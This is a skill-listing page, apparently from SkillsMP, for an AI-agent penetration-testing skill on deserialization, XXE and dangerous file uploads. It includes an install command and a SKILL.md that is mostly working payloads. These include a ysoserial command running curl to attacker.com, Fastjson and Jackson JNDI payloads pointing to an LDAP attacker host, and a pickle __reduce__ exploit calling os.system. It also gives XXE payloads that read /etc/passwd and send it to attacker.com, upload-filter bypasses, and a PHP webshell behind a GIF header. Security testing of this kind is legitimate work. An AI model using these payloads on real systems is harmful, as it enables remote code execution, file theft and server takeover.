菜单
Use when performing penetration testing targeting deserialization, XXE, and dangerous file upload vulnerabilities. Keywords: deserialization, insecure deserialization, XXE, XML external entities, file upload, unrestricted upload, pickle, Java serialization, gadget chain
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
基于 SOC 职业分类
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/yhy0/ghsa-skill-builder --skill pentest-deserialization-xxe命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
Use when building or updating vulnerability pattern Skills from multiple sources: GitHub Security Advisories (GHSA), HackerOne Hacktivity, or NVD. Triggers on keywords: GHSA, CVE, vulnerability skill, vuln pattern, update skills, security advisory, HackerOne, H1, hacktivity, pentest skill, bug bounty, check for updates.
Use when building or updating vulnerability pattern Skills from multiple sources: GitHub Security Advisories (GHSA), HackerOne Hacktivity, or NVD. Triggers on keywords: GHSA, CVE, vulnerability skill, vuln pattern, update skills, security advisory, HackerOne, H1, hacktivity, pentest skill, bug bounty, check for updates.
Use when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth
| name | pentest-deserialization-xxe |
| description | Use when performing penetration testing targeting deserialization, XXE, and dangerous file upload vulnerabilities. Keywords: deserialization, insecure deserialization, XXE, XML external entities, file upload, unrestricted upload, pickle, Java serialization, gadget chain |
当对 Web 应用进行反序列化和 XXE 渗透测试时加载此 Skill。覆盖 Java/Python/.NET 反序列化、XML 外部实体注入、危险文件上传等。
反序列化入口：
ObjectInputStream、JSON 库（Jackson enableDefaultTyping、Fastjson @type）pickle.loads()、yaml.load()（不安全的 Loader）BinaryFormatter、XmlSerializer、ViewStateunserialize()、Phar 反序列化Marshal.load()、YAML Psych.load()（Krewe/Rails）XXE 入口：
危险文件上传：
shell.php.jpgJava 反序列化：
# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin
# 常用 Gadget Chain
CommonsCollections1-7 # Apache Commons Collections
Spring1-4 # Spring Framework
Hibernate1 # Hibernate ORM
JRMPClient # 远程类加载
# 检测：发送序列化魔术字节 (0xACED0005) 到可疑端点
Fastjson/Jackson 反序列化：
// Fastjson @type 注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}
// Jackson enableDefaultTyping
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}]
Python 反序列化：
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("curl attacker.com",))
payload = pickle.dumps(Exploit())
XXE 攻击：
<!-- 基础 XXE（文件读取） -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Blind XXE（OOB 数据外传） -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;"> -->
<!-- SSRF via XXE -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
危险文件上传利用：
# 扩展名绕过
shell.php5, shell.phtml, shell.pHp # PHP 变体
shell.jsp, shell.jspx, shell.jspa # Java 变体
shell.aspx, shell.ashx, shell.asmx # .NET 变体
# 内容类型绕过
Content-Type: image/jpeg # 但文件内容是 PHP webshell
# 双扩展名
shell.php.jpg # Apache 可能仍解析为 PHP
shell.jpg.php # 真实扩展名在最后
# Magic bytes + webshell
GIF89a<?php system($_GET['cmd']); ?> # GIF magic header + PHP
0xACED 开头的序列化数据漏洞利用可达到的效果：
严重度判断：
以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。
/daip/messagebroker/amf endpoint. Successful exploitation could allow an attac...